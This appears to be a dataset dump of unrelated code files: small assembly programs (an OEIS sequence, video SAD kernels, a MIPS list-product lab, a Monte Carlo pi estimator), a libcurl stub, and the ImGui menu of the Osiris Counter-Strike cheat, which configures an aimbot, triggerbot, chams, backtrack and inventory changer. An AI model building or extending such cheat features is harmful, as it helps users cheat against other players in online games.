text
stringlengths
1
1.05M
; A091001: Number of walks of length n between adjacent nodes on the Petersen graph. ; 0,1,0,5,4,33,56,253,588,2105,5632,18261,52052,161617,473928,1443629,4287196,12948969,38672144,116365957,348398820,1046594561,3136987480,9416554845,28238479724,84737808793,254168687136,762595539893,2287607662708,6863180902065,20588826878312,61767912290701,185300873560572,555908347304777,1667713588668208,5003163672496869 mov $3,2 lpb $0,1 sub $0,1 mov $2,$1 add $3,$1 mov $1,$3 mul $1,2 sub $1,2 sub $1,$2 mul $2,3 mov $3,$2 lpe div $1,2
#include <stdio.h> #include "curl/curl.h" int main() { curl_easy_init(); printf("hello,libcurl.\n"); return 0; }
; Copyright (c) 2018, The rav1e contributors. All rights reserved ; ; This source code is subject to the terms of the BSD 2 Clause License and ; the Alliance for Open Media Patent License 1.0. If the BSD 2 Clause License ; was not distributed with this source code in the LICENSE file, you can ; obtain it at www.aomedia.org/license/software. If the Alliance for Open ; Media Patent License 1.0 was not distributed with this source code in the ; PATENTS file, you can obtain it at www.aomedia.org/license/patent. %include "ext/x86/x86inc.asm" SECTION .text %macro W_ABS_DIFF 8 psubw %1, %5 psubw %2, %6 psubw %3, %7 psubw %4, %8 pabsw %1, %1 pabsw %2, %2 pabsw %3, %3 pabsw %4, %4 %endmacro INIT_XMM ssse3 cglobal sad_4x4_hbd, 4, 6, 8, src, src_stride, dst, dst_stride, \ src_stride3, dst_stride3 lea src_stride3q, [src_strideq*3] lea dst_stride3q, [dst_strideq*3] movq m0, [srcq] movq m1, [srcq+src_strideq*1] movq m2, [srcq+src_strideq*2] movq m3, [srcq+src_stride3q] movq m4, [dstq] movq m5, [dstq+dst_strideq*1] movq m6, [dstq+dst_strideq*2] movq m7, [dstq+dst_stride3q] W_ABS_DIFF m0, m1, m2, m3, m4, m5, m6, m7 ; Don't convert to 32 bit integers: 4*4 abs diffs of 12-bits fits in 16 bits. ; Accumulate onto m0 %define sum m0 paddw sum, m1 paddw m2, m3 paddw sum, m2 ; Horizontal reduction pshuflw m1, sum, q2323 paddw sum, m1 pshuflw m1, sum, q1111 paddw sum, m1 movd eax, sum ; Convert to 16-bits since the upper half of eax is dirty movzx eax, ax RET %if ARCH_X86_64 INIT_XMM ssse3 cglobal sad_16x16_hbd, 4, 5, 9, src, src_stride, dst, dst_stride, \ cnt mov cntd, 8 %define sum m0 pxor sum, sum .loop: movu m1, [srcq] movu m2, [srcq+16] movu m3, [srcq+src_strideq] movu m4, [srcq+src_strideq+16] lea srcq, [srcq+src_strideq*2] movu m5, [dstq] movu m6, [dstq+16] movu m7, [dstq+dst_strideq] movu m8, [dstq+dst_strideq+16] lea dstq, [dstq+dst_strideq*2] W_ABS_DIFF m1, m2, m3, m4, m5, m6, m7, m8 paddw m1, m2 paddw m3, m4 paddw sum, m1 paddw sum, m3 dec cntd jg .loop ; Convert to 32-bits pxor m1, m1 punpcklwd m2, sum, m1 punpckhwd sum, m1 paddd sum, m2 ; Horizontal reduction movhlps m1, sum paddd sum, m1 pshufd m1, sum, q1111 paddd sum, m1 movd eax, sum RET %endif
# Calculate the product of data elements of a list # for MYΥ-505 - Computer Architecture # Department of Computer Engineering, University of Ioannina # Aris Efthymiou # Same as lab03_solution-gzz.asm but jal instructions are replaced by la and j. .globl mulproc, listProd # declare the label main as global. ############################################################################### # Data input. ############################################################################### .data # Leaving a 2 word (= 1 list node) offset so that the address of n1_d isn't 0x0 (null pointer) # in "Compact, Data at Address 0" memory configuration. offset_d: .word 0x7777 offset_n: .word 0x7777 # 1st item - head of the list! n1_d: .word 1 n1_n: .word n2_d # point to (beginning of) n2 # 3rd item n3_d: .word 3 n3_n: .word n4_d # 2nd item n2_d: .word 2 n2_n: .word n3_d # 5th item n5_d: .word 5 n5_n: .word 0 # This is the last iterm in the list # 4th item n4_d: .word 4 n4_n: .word n5_d # Alternative head of list. Value 0 to test mult by 0 na_d: .word 0 na_n: .word n2_d # point to (beginning of) n2 .text # These are for providing input and testing, don't change in your # final submission la $a0, n1_d la $ra, t1 j listProd t1: addu $s0, $v0, $zero # Move the result to s0 # Try it with a null pointer addu $a0, $zero, $zero la $ra, t2 j listProd t2: addu $s1, $v0, $zero # Move the result to s1 # Try it with 1 item list la $a0, n5_d la $ra, t3 j listProd t3: addu $s2, $v0, $zero # Move the result to s2 # ----- Try mult by 0 la $a0, na_d la $ra, t4 j listProd t4: addu $s3, $v0, $zero # Move the result to s3 addiu $v0, $zero, 10 # system service 10 is exit syscall # we are outta here. ######################################################################## # Write your code here. Leave main as is. ######################################################################## # Only works for unsigned numbers mulproc: addiu $sp, $sp, -12 sw $ra, 0x8($sp) sw $a0, 0x4($sp) sw $a1, 0x0($sp) addu $v0, $zero, $zero # result = 0 sltu $t0, $a0, $a1 bne $t0, $zero, loop_mult # swap by xor xor $a0, $a0, $a1 xor $a1, $a1, $a0 xor $a0, $a0, $a1 # now a0 < a1 loop_mult: beq $a0, $zero, leave_mult addu $v0, $v0, $a1 addiu $a0, $a0, -1 j loop_mult leave_mult: lw $a1, 0x0($sp) lw $a0, 0x4($sp) lw $ra, 0x8($sp) addiu $sp, $sp, 12 jr $ra # return listProd: addiu $sp, $sp, -8 sw $ra, 0x4($sp) sw $a0, 0x0($sp) addiu $v0, $zero, 1 beq $a0, $zero, leave_listProd lw $a0, 4($a0) # get next address la $ra, t5 j listProd t5: addu $a1, $v0, $zero # move result into a1 lw $a0, 0x0($sp) # get my original parameter lw $a0, 0($a0) # get data la $ra, leave_listProd j mulproc leave_listProd: lw $ra, 0x4($sp) addiu $sp, $sp, 8 jr $ra
#include <algorithm> #include <array> #include <cwchar> #include <fstream> #include <iterator> #include <string> #include <string_view> #include <unordered_map> #include <vector> #ifdef _WIN32 #include <ShlObj.h> #include <Windows.h> #endif #include "imgui/imgui.h" #include "imgui/imgui_stdlib.h" #include "imguiCustom.h" #include "GUI.h" #include "Config.h" #include "ConfigStructs.h" #include "Hacks/Misc.h" #include "InventoryChanger/InventoryChanger.h" #include "Helpers.h" #include "Interfaces.h" #include "SDK/InputSystem.h" #include "Hacks/Visuals.h" #include "Hacks/Glow.h" #include "Hacks/AntiAim.h" #include "Hacks/Backtrack.h" #include "Hacks/Sound.h" #include "Hacks/StreamProofESP.h" constexpr auto windowFlags = ImGuiWindowFlags_NoCollapse | ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoScrollbar | ImGuiWindowFlags_NoScrollWithMouse; static ImFont* addFontFromVFONT(const std::string& path, float size, const ImWchar* glyphRanges, bool merge) noexcept { auto file = Helpers::loadBinaryFile(path); if (!Helpers::decodeVFONT(file)) return nullptr; ImFontConfig cfg; cfg.FontData = file.data(); cfg.FontDataSize = file.size(); cfg.FontDataOwnedByAtlas = false; cfg.MergeMode = merge; cfg.GlyphRanges = glyphRanges; cfg.SizePixels = size; return ImGui::GetIO().Fonts->AddFont(&cfg); } GUI::GUI() noexcept { ImGui::StyleColorsDark(); ImGuiStyle& style = ImGui::GetStyle(); style.ScrollbarSize = 9.0f; ImGuiIO& io = ImGui::GetIO(); io.IniFilename = nullptr; io.LogFilename = nullptr; io.ConfigFlags |= ImGuiConfigFlags_NoMouseCursorChange; ImFontConfig cfg; cfg.SizePixels = 15.0f; #ifdef _WIN32 if (PWSTR pathToFonts; SUCCEEDED(SHGetKnownFolderPath(FOLDERID_Fonts, 0, nullptr, &pathToFonts))) { const std::filesystem::path path{ pathToFonts }; CoTaskMemFree(pathToFonts); fonts.normal15px = io.Fonts->AddFontFromFileTTF((path / "tahoma.ttf").string().c_str(), 15.0f, &cfg, Helpers::getFontGlyphRanges()); if (!fonts.normal15px) io.Fonts->AddFontDefault(&cfg); cfg.MergeMode = true; static constexpr ImWchar symbol[]{ 0x2605, 0x2605, // ★ 0 }; io.Fonts->AddFontFromFileTTF((path / "seguisym.ttf").string().c_str(), 15.0f, &cfg, symbol); cfg.MergeMode = false; } #else fonts.normal15px = addFontFromVFONT("csgo/panorama/fonts/notosans-regular.vfont", 15.0f, Helpers::getFontGlyphRanges(), false); #endif if (!fonts.normal15px) io.Fonts->AddFontDefault(&cfg); addFontFromVFONT("csgo/panorama/fonts/notosanskr-regular.vfont", 15.0f, io.Fonts->GetGlyphRangesKorean(), true); addFontFromVFONT("csgo/panorama/fonts/notosanssc-regular.vfont", 17.0f, io.Fonts->GetGlyphRangesChineseFull(), true); } void GUI::render() noexcept { if (!config->style.menuStyle) { renderMenuBar(); renderAimbotWindow(); AntiAim::drawGUI(false); renderTriggerbotWindow(); Backtrack::drawGUI(false); Glow::drawGUI(false); renderChamsWindow(); StreamProofESP::drawGUI(false); Visuals::drawGUI(false); InventoryChanger::drawGUI(false); Sound::drawGUI(false); renderStyleWindow(); Misc::drawGUI(false); renderConfigWindow(); } else { renderGuiStyle2(); } } void GUI::updateColors() const noexcept { switch (config->style.menuColors) { case 0: ImGui::StyleColorsDark(); break; case 1: ImGui::StyleColorsLight(); break; case 2: ImGui::StyleColorsClassic(); break; } } void GUI::handleToggle() noexcept { if (Misc::isMenuKeyPressed()) { open = !open; if (!open) interfaces->inputSystem->resetInputState(); #ifndef _WIN32 ImGui::GetIO().MouseDrawCursor = gui->open; #endif } } static void menuBarItem(const char* name, bool& enabled) noexcept { if (ImGui::MenuItem(name)) { enabled = true; ImGui::SetWindowFocus(name); ImGui::SetWindowPos(name, { 100.0f, 100.0f }); } } void GUI::renderMenuBar() noexcept { if (ImGui::BeginMainMenuBar()) { menuBarItem("Aimbot", window.aimbot); AntiAim::menuBarItem(); menuBarItem("Triggerbot", window.triggerbot); Backtrack::menuBarItem(); Glow::menuBarItem(); menuBarItem("Chams", window.chams); StreamProofESP::menuBarItem(); Visuals::menuBarItem(); InventoryChanger::menuBarItem(); Sound::menuBarItem(); menuBarItem("Style", window.style); Misc::menuBarItem(); menuBarItem("Config", window.config); ImGui::EndMainMenuBar(); } } void GUI::renderAimbotWindow(bool contentOnly) noexcept { if (!contentOnly) { if (!window.aimbot) return; ImGui::SetNextWindowSize({ 600.0f, 0.0f }); ImGui::Begin("Aimbot", &window.aimbot, windowFlags); } ImGui::Checkbox("On key", &config->aimbotOnKey); ImGui::SameLine(); ImGui::PushID("Aimbot Key"); ImGui::hotkey("", config->aimbotKey); ImGui::PopID(); ImGui::SameLine(); ImGui::PushID(2); ImGui::PushItemWidth(70.0f); ImGui::Combo("", &config->aimbotKeyMode, "Hold\0Toggle\0"); ImGui::PopItemWidth(); ImGui::PopID(); ImGui::Separator(); static int currentCategory{ 0 }; ImGui::PushItemWidth(110.0f); ImGui::PushID(0); ImGui::Combo("", &currentCategory, "All\0Pistols\0Heavy\0SMG\0Rifles\0"); ImGui::PopID(); ImGui::SameLine(); static int currentWeapon{ 0 }; ImGui::PushID(1); switch (currentCategory) { case 0: currentWeapon = 0; ImGui::NewLine(); break; case 1: { static int currentPistol{ 0 }; static constexpr const char* pistols[]{ "All", "Glock-18", "P2000", "USP-S", "Dual Berettas", "P250", "Tec-9", "Five-Seven", "CZ-75", "Desert Eagle", "Revolver" }; ImGui::Combo("", &currentPistol, [](void* data, int idx, const char** out_text) { if (config->aimbot[idx ? idx : 35].enabled) { static std::string name; name = pistols[idx]; *out_text = name.append(" *").c_str(); } else { *out_text = pistols[idx]; } return true; }, nullptr, IM_ARRAYSIZE(pistols)); currentWeapon = currentPistol ? currentPistol : 35; break; } case 2: { static int currentHeavy{ 0 }; static constexpr const char* heavies[]{ "All", "Nova", "XM1014", "Sawed-off", "MAG-7", "M249", "Negev" }; ImGui::Combo("", &currentHeavy, [](void* data, int idx, const char** out_text) { if (config->aimbot[idx ? idx + 10 : 36].enabled) { static std::string name; name = heavies[idx]; *out_text = name.append(" *").c_str(); } else { *out_text = heavies[idx]; } return true; }, nullptr, IM_ARRAYSIZE(heavies)); currentWeapon = currentHeavy ? currentHeavy + 10 : 36; break; } case 3: { static int currentSmg{ 0 }; static constexpr const char* smgs[]{ "All", "Mac-10", "MP9", "MP7", "MP5-SD", "UMP-45", "P90", "PP-Bizon" }; ImGui::Combo("", &currentSmg, [](void* data, int idx, const char** out_text) { if (config->aimbot[idx ? idx + 16 : 37].enabled) { static std::string name; name = smgs[idx]; *out_text = name.append(" *").c_str(); } else { *out_text = smgs[idx]; } return true; }, nullptr, IM_ARRAYSIZE(smgs)); currentWeapon = currentSmg ? currentSmg + 16 : 37; break; } case 4: { static int currentRifle{ 0 }; static constexpr const char* rifles[]{ "All", "Galil AR", "Famas", "AK-47", "M4A4", "M4A1-S", "SSG-08", "SG-553", "AUG", "AWP", "G3SG1", "SCAR-20" }; ImGui::Combo("", &currentRifle, [](void* data, int idx, const char** out_text) { if (config->aimbot[idx ? idx + 23 : 38].enabled) { static std::string name; name = rifles[idx]; *out_text = name.append(" *").c_str(); } else { *out_text = rifles[idx]; } return true; }, nullptr, IM_ARRAYSIZE(rifles)); currentWeapon = currentRifle ? currentRifle + 23 : 38; break; } } ImGui::PopID(); ImGui::SameLine(); ImGui::Checkbox("Enabled", &config->aimbot[currentWeapon].enabled); ImGui::Columns(2, nullptr, false); ImGui::SetColumnOffset(1, 220.0f); ImGui::Checkbox("Aimlock", &config->aimbot[currentWeapon].aimlock); ImGui::Checkbox("Silent", &config->aimbot[currentWeapon].silent); ImGui::Checkbox("Friendly fire", &config->aimbot[currentWeapon].friendlyFire); ImGui::Checkbox("Visible only", &config->aimbot[currentWeapon].visibleOnly); ImGui::Checkbox("Scoped only", &config->aimbot[currentWeapon].scopedOnly); ImGui::Checkbox("Ignore flash", &config->aimbot[currentWeapon].ignoreFlash); ImGui::Checkbox("Ignore smoke", &config->aimbot[currentWeapon].ignoreSmoke); ImGui::Checkbox("Auto shot", &config->aimbot[currentWeapon].autoShot); ImGui::Checkbox("Auto scope", &config->aimbot[currentWeapon].autoScope); ImGui::Combo("Bone", &config->aimbot[currentWeapon].bone, "Nearest\0Best damage\0Head\0Neck\0Sternum\0Chest\0Stomach\0Pelvis\0"); ImGui::NextColumn(); ImGui::PushItemWidth(240.0f); ImGui::SliderFloat("Fov", &config->aimbot[currentWeapon].fov, 0.0f, 255.0f, "%.2f", ImGuiSliderFlags_Logarithmic); ImGui::SliderFloat("Smooth", &config->aimbot[currentWeapon].smooth, 1.0f, 100.0f, "%.2f"); ImGui::SliderFloat("Max aim inaccuracy", &config->aimbot[currentWeapon].maxAimInaccuracy, 0.0f, 1.0f, "%.5f", ImGuiSliderFlags_Logarithmic); ImGui::SliderFloat("Max shot inaccuracy", &config->aimbot[currentWeapon].maxShotInaccuracy, 0.0f, 1.0f, "%.5f", ImGuiSliderFlags_Logarithmic); ImGui::InputInt("Min damage", &config->aimbot[currentWeapon].minDamage); config->aimbot[currentWeapon].minDamage = std::clamp(config->aimbot[currentWeapon].minDamage, 0, 250); ImGui::Checkbox("Killshot", &config->aimbot[currentWeapon].killshot); ImGui::Checkbox("Between shots", &config->aimbot[currentWeapon].betweenShots); ImGui::Columns(1); if (!contentOnly) ImGui::End(); } void GUI::renderTriggerbotWindow(bool contentOnly) noexcept { if (!contentOnly) { if (!window.triggerbot) return; ImGui::SetNextWindowSize({ 0.0f, 0.0f }); ImGui::Begin("Triggerbot", &window.triggerbot, windowFlags); } static int currentCategory{ 0 }; ImGui::PushItemWidth(110.0f); ImGui::PushID(0); ImGui::Combo("", &currentCategory, "All\0Pistols\0Heavy\0SMG\0Rifles\0Zeus x27\0"); ImGui::PopID(); ImGui::SameLine(); static int currentWeapon{ 0 }; ImGui::PushID(1); switch (currentCategory) { case 0: currentWeapon = 0; ImGui::NewLine(); break; case 5: currentWeapon = 39; ImGui::NewLine(); break; case 1: { static int currentPistol{ 0 }; static constexpr const char* pistols[]{ "All", "Glock-18", "P2000", "USP-S", "Dual Berettas", "P250", "Tec-9", "Five-Seven", "CZ-75", "Desert Eagle", "Revolver" }; ImGui::Combo("", &currentPistol, [](void* data, int idx, const char** out_text) { if (config->triggerbot[idx ? idx : 35].enabled) { static std::string name; name = pistols[idx]; *out_text = name.append(" *").c_str(); } else { *out_text = pistols[idx]; } return true; }, nullptr, IM_ARRAYSIZE(pistols)); currentWeapon = currentPistol ? currentPistol : 35; break; } case 2: { static int currentHeavy{ 0 }; static constexpr const char* heavies[]{ "All", "Nova", "XM1014", "Sawed-off", "MAG-7", "M249", "Negev" }; ImGui::Combo("", &currentHeavy, [](void* data, int idx, const char** out_text) { if (config->triggerbot[idx ? idx + 10 : 36].enabled) { static std::string name; name = heavies[idx]; *out_text = name.append(" *").c_str(); } else { *out_text = heavies[idx]; } return true; }, nullptr, IM_ARRAYSIZE(heavies)); currentWeapon = currentHeavy ? currentHeavy + 10 : 36; break; } case 3: { static int currentSmg{ 0 }; static constexpr const char* smgs[]{ "All", "Mac-10", "MP9", "MP7", "MP5-SD", "UMP-45", "P90", "PP-Bizon" }; ImGui::Combo("", &currentSmg, [](void* data, int idx, const char** out_text) { if (config->triggerbot[idx ? idx + 16 : 37].enabled) { static std::string name; name = smgs[idx]; *out_text = name.append(" *").c_str(); } else { *out_text = smgs[idx]; } return true; }, nullptr, IM_ARRAYSIZE(smgs)); currentWeapon = currentSmg ? currentSmg + 16 : 37; break; } case 4: { static int currentRifle{ 0 }; static constexpr const char* rifles[]{ "All", "Galil AR", "Famas", "AK-47", "M4A4", "M4A1-S", "SSG-08", "SG-553", "AUG", "AWP", "G3SG1", "SCAR-20" }; ImGui::Combo("", &currentRifle, [](void* data, int idx, const char** out_text) { if (config->triggerbot[idx ? idx + 23 : 38].enabled) { static std::string name; name = rifles[idx]; *out_text = name.append(" *").c_str(); } else { *out_text = rifles[idx]; } return true; }, nullptr, IM_ARRAYSIZE(rifles)); currentWeapon = currentRifle ? currentRifle + 23 : 38; break; } } ImGui::PopID(); ImGui::SameLine(); ImGui::Checkbox("Enabled", &config->triggerbot[currentWeapon].enabled); ImGui::Separator(); ImGui::hotkey("Hold Key", config->triggerbotHoldKey); ImGui::Checkbox("Friendly fire", &config->triggerbot[currentWeapon].friendlyFire); ImGui::Checkbox("Scoped only", &config->triggerbot[currentWeapon].scopedOnly); ImGui::Checkbox("Ignore flash", &config->triggerbot[currentWeapon].ignoreFlash); ImGui::Checkbox("Ignore smoke", &config->triggerbot[currentWeapon].ignoreSmoke); ImGui::SetNextItemWidth(85.0f); ImGui::Combo("Hitgroup", &config->triggerbot[currentWeapon].hitgroup, "All\0Head\0Chest\0Stomach\0Left arm\0Right arm\0Left leg\0Right leg\0"); ImGui::PushItemWidth(220.0f); ImGui::SliderInt("Shot delay", &config->triggerbot[currentWeapon].shotDelay, 0, 250, "%d ms"); ImGui::InputInt("Min damage", &config->triggerbot[currentWeapon].minDamage); config->triggerbot[currentWeapon].minDamage = std::clamp(config->triggerbot[currentWeapon].minDamage, 0, 250); ImGui::Checkbox("Killshot", &config->triggerbot[currentWeapon].killshot); ImGui::SliderFloat("Burst Time", &config->triggerbot[currentWeapon].burstTime, 0.0f, 0.5f, "%.3f s"); if (!contentOnly) ImGui::End(); } void GUI::renderChamsWindow(bool contentOnly) noexcept { if (!contentOnly) { if (!window.chams) return; ImGui::SetNextWindowSize({ 0.0f, 0.0f }); ImGui::Begin("Chams", &window.chams, windowFlags); } ImGui::hotkey("Toggle Key", config->chamsToggleKey, 80.0f); ImGui::hotkey("Hold Key", config->chamsHoldKey, 80.0f); ImGui::Separator(); static int currentCategory{ 0 }; ImGui::PushItemWidth(110.0f); ImGui::PushID(0); static int material = 1; if (ImGui::Combo("", &currentCategory, "Allies\0Enemies\0Planting\0Defusing\0Local player\0Weapons\0Hands\0Backtrack\0Sleeves\0")) material = 1; ImGui::PopID(); ImGui::SameLine(); if (material <= 1) ImGuiCustom::arrowButtonDisabled("##left", ImGuiDir_Left); else if (ImGui::ArrowButton("##left", ImGuiDir_Left)) --material; ImGui::SameLine(); ImGui::Text("%d", material); constexpr std::array categories{ "Allies", "Enemies", "Planting", "Defusing", "Local player", "Weapons", "Hands", "Backtrack", "Sleeves" }; ImGui::SameLine(); if (material >= int(config->chams[categories[currentCategory]].materials.size())) ImGuiCustom::arrowButtonDisabled("##right", ImGuiDir_Right); else if (ImGui::ArrowButton("##right", ImGuiDir_Right)) ++material; ImGui::SameLine(); auto& chams{ config->chams[categories[currentCategory]].materials[material - 1] }; ImGui::Checkbox("Enabled", &chams.enabled); ImGui::Separator(); ImGui::Checkbox("Health based", &chams.healthBased); ImGui::Checkbox("Blinking", &chams.blinking); ImGui::Combo("Material", &chams.material, "Normal\0Flat\0Animated\0Platinum\0Glass\0Chrome\0Crystal\0Silver\0Gold\0Plastic\0Glow\0Pearlescent\0Metallic\0"); ImGui::Checkbox("Wireframe", &chams.wireframe); ImGui::Checkbox("Cover", &chams.cover); ImGui::Checkbox("Ignore-Z", &chams.ignorez); ImGuiCustom::colorPicker("Color", chams); if (!contentOnly) { ImGui::End(); } } void GUI::renderStyleWindow(bool contentOnly) noexcept { if (!contentOnly) { if (!window.style) return; ImGui::SetNextWindowSize({ 0.0f, 0.0f }); ImGui::Begin("Style", &window.style, windowFlags); } ImGui::PushItemWidth(150.0f); if (ImGui::Combo("Menu style", &config->style.menuStyle, "Classic\0One window\0")) window = { }; if (ImGui::Combo("Menu colors", &config->style.menuColors, "Dark\0Light\0Classic\0Custom\0")) updateColors(); ImGui::PopItemWidth(); if (config->style.menuColors == 3) { ImGuiStyle& style = ImGui::GetStyle(); for (int i = 0; i < ImGuiCol_COUNT; i++) { if (i && i & 3) ImGui::SameLine(220.0f * (i & 3)); ImGuiCustom::colorPicker(ImGui::GetStyleColorName(i), (float*)&style.Colors[i], &style.Colors[i].w); } } if (!contentOnly) ImGui::End(); } void GUI::renderConfigWindow(bool contentOnly) noexcept { if (!contentOnly) { if (!window.config) return; ImGui::SetNextWindowSize({ 320.0f, 0.0f }); if (!ImGui::Begin("Config", &window.config, windowFlags)) { ImGui::End(); return; } } ImGui::Columns(2, nullptr, false); ImGui::SetColumnOffset(1, 170.0f); static bool incrementalLoad = false; ImGui::Checkbox("Incremental Load", &incrementalLoad); ImGui::PushItemWidth(160.0f); auto& configItems = config->getConfigs(); static int currentConfig = -1; static std::u8string buffer; timeToNextConfigRefresh -= ImGui::GetIO().DeltaTime; if (timeToNextConfigRefresh <= 0.0f) { config->listConfigs(); if (const auto it = std::find(configItems.begin(), configItems.end(), buffer); it != configItems.end()) currentConfig = std::distance(configItems.begin(), it); timeToNextConfigRefresh = 0.1f; } if (static_cast<std::size_t>(currentConfig) >= configItems.size()) currentConfig = -1; if (ImGui::ListBox("", &currentConfig, [](void* data, int idx, const char** out_text) { auto& vector = *static_cast<std::vector<std::u8string>*>(data); *out_text = (const char*)vector[idx].c_str(); return true; }, &configItems, configItems.size(), 5) && currentConfig != -1) buffer = configItems[currentConfig].c_str(); ImGui::PushID(0); if (ImGui::InputTextWithHint("", "config name", &buffer, ImGuiInputTextFlags_EnterReturnsTrue)) { if (currentConfig != -1) config->rename(currentConfig, buffer.c_str()); } ImGui::PopID(); ImGui::NextColumn(); ImGui::PushItemWidth(100.0f); if (ImGui::Button("Open config directory")) config->openConfigDir(); if (ImGui::Button("Create config", { 100.0f, 25.0f })) config->add(buffer.c_str()); if (ImGui::Button("Reset config", { 100.0f, 25.0f })) ImGui::OpenPopup("Config to reset"); if (ImGui::BeginPopup("Config to reset")) { static constexpr const char* names[]{ "Whole", "Aimbot", "Triggerbot", "Backtrack", "Anti aim", "Glow", "Chams", "ESP", "Visuals", "Inventory Changer", "Sound", "Style", "Misc" }; for (int i = 0; i < IM_ARRAYSIZE(names); i++) { if (i == 1) ImGui::Separator(); if (ImGui::Selectable(names[i])) { switch (i) { case 0: config->reset(); updateColors(); Misc::updateClanTag(true); InventoryChanger::scheduleHudUpdate(); break; case 1: config->aimbot = { }; break; case 2: config->triggerbot = { }; break; case 3: Backtrack::resetConfig(); break; case 4: AntiAim::resetConfig(); break; case 5: Glow::resetConfig(); break; case 6: config->chams = { }; break; case 7: config->streamProofESP = { }; break; case 8: Visuals::resetConfig(); break; case 9: InventoryChanger::resetConfig(); InventoryChanger::scheduleHudUpdate(); break; case 10: Sound::resetConfig(); break; case 11: config->style = { }; updateColors(); break; case 12: Misc::resetConfig(); Misc::updateClanTag(true); break; } } } ImGui::EndPopup(); } if (currentConfig != -1) { if (ImGui::Button("Load selected", { 100.0f, 25.0f })) { config->load(currentConfig, incrementalLoad); updateColors(); InventoryChanger::scheduleHudUpdate(); Misc::updateClanTag(true); } if (ImGui::Button("Save selected", { 100.0f, 25.0f })) config->save(currentConfig); if (ImGui::Button("Delete selected", { 100.0f, 25.0f })) { config->remove(currentConfig); if (static_cast<std::size_t>(currentConfig) < configItems.size()) buffer = configItems[currentConfig].c_str(); else buffer.clear(); } } ImGui::Columns(1); if (!contentOnly) ImGui::End(); } void GUI::renderGuiStyle2() noexcept { ImGui::Begin("Osiris", nullptr, windowFlags | ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_AlwaysAutoResize); if (ImGui::BeginTabBar("TabBar", ImGuiTabBarFlags_Reorderable | ImGuiTabBarFlags_FittingPolicyScroll | ImGuiTabBarFlags_NoTooltip)) { if (ImGui::BeginTabItem("Aimbot")) { renderAimbotWindow(true); ImGui::EndTabItem(); } AntiAim::tabItem(); if (ImGui::BeginTabItem("Triggerbot")) { renderTriggerbotWindow(true); ImGui::EndTabItem(); } Backtrack::tabItem(); Glow::tabItem(); if (ImGui::BeginTabItem("Chams")) { renderChamsWindow(true); ImGui::EndTabItem(); } StreamProofESP::tabItem(); Visuals::tabItem(); InventoryChanger::tabItem(); Sound::tabItem(); if (ImGui::BeginTabItem("Style")) { renderStyleWindow(true); ImGui::EndTabItem(); } Misc::tabItem(); if (ImGui::BeginTabItem("Config")) { renderConfigWindow(true); ImGui::EndTabItem(); } ImGui::EndTabBar(); } ImGui::End(); }
;PERFORMS MONTE-CARLO SIMULATIONS TO ESTIMATE PI VALUE RANDOM_MASK: DC INTEGER(0xffffff) RANDOM_DIST: DC INTEGER(0x1000000) FLOAT_ONE: DC FLOAT(1) FLOAT_FOUR: DC FLOAT(4) NEWLINE: DC CHAR('\n') N: DC INTEGER(65536) MAIN: LD 3, N XOR 1, 1 ;R1 - PUNKTY W ŚRODKU OKRĘGU XOR 2, 2 ;R2 - WSZYTKIE PUNKTY LOOP: CALL RANDOM_POINT CALL IS_INSIDE ADD 1, 0 INC 2 CALL APPROXIMATE FOUT 0 COUT NEWLINE LOOP 3, LOOP EXIT ;OBLICZA PRZYBLIŻENIE PI NA PODSTAWIE ILOŚCI PUNKTÓW ;W ŚRODKU I WSZYSTKICH ;ARGUMENTY: ;REJESTR 1 - LICZBA PUNKTÓW W ŚRODKU ;REJESTR 2 - LICZBA PUNKTÓW NA ZENĄTRZ ;OPERUJE NA: ;REJESTRY 0, F1 ;WYMAGA DEKLARACJI: ;FLOAT_FOUR - FLOAT(4) ;ZWRACA: ;REJESTR F0 - PRZYBLIŻENIE PI APPROXIMATE: PUSH 1 FILD 0, 11(0) PUSH 2 FILD 1, 11(0) POP 0 POP 0 FDIV 0, 1 FMUL 0, FLOAT_FOUR RET ;BADA CZY PODANY PUNKT LEŻY W ŚRODKU OKRĘGU ;O JEDNOSTKOWYM PROMIENIU ;ARGUMENTY: ;REJESTR F0 - WSPÓŁRZĘDNA X PUNKTU ;REJESTR F1 - WSPÓŁRZĘDNA Y PUNKTU ;OPERUJE NA: ;REJESTRY 0, F1 ;WYMAGA DEKLARACJI: ;FLOAT_ONE - FLOAT(1) ;DIST_SQUARED ;ZWRACA: ;REJESTR 0 - JEDEN JEŻELI W ŚRODKU, ZERO WPP IS_INSIDE: CALL DIST_SQUARED XOR 0, 0 FCMP 0, FLOAT_ONE JAE OUTSIDE INC 0 OUTSIDE: RET ;OBLICZA KWADRAT ODLEGŁOŚCI WSKAZANEGO PUNKTU OD (0, 0) ;ARGUMENTY: ;REJESTR F0 - WSPÓŁRZĘDNA X PUNKTU ;REJESTR F1 - WSPÓŁRZĘDNA Y PUNKTU ;OPERUJE NA: ;REJESTRY F1 ;WYMAGA DEKLARACJI: ;--- ;ZWRACA: ;REJESTR F0 - ODLEGŁOŚĆ PODNIESIONA DO KWADRATU DIST_SQUARED: FMUL 0, 0 FMUL 1, 1 FADD 0, 1 RET ;GENERUJE LOSOWY PUNKT NA KWADRACIE (0,0),(1,0),(1,1),(0,1) ;ARGUMENTY: ;--- ;OPERUJE NA: ;REJESTR 0 ;WYMAGA DEKLARACJI: ;RANDOM_FLOAT ;ZWRACA: ;REJESTR F0 - WSPÓŁRZĘDNA X PUNKTU ;REJESTR F1 - WSPÓŁRZĘDNA Y PUNKTU RANDOM_POINT: CALL RANDOM_FLOAT FLD 1, 0 CALL RANDOM_FLOAT RET ;GENERUJE LOSOWĄ LICZBĘ Z PRZEDZIAŁU <0,1) ;ARGUMENTY: ;--- ;OPERUJE NA: ;REJESTR 0 ;WYMAGA DEKLARACJI: ;RANDOM_MASK - FLOAT(0xffffff) ;RANDOM_DIST - FLOAT(0x1000000) ;ZWRACA: ;REJESTR F0 - LICZBA Z PRZEDZIAŁU <0,1) RANDOM_FLOAT: RAND 0 AND 0, RANDOM_MASK PUSH 0 FPOP 0 FDIV 0, RANDOM_DIST RET
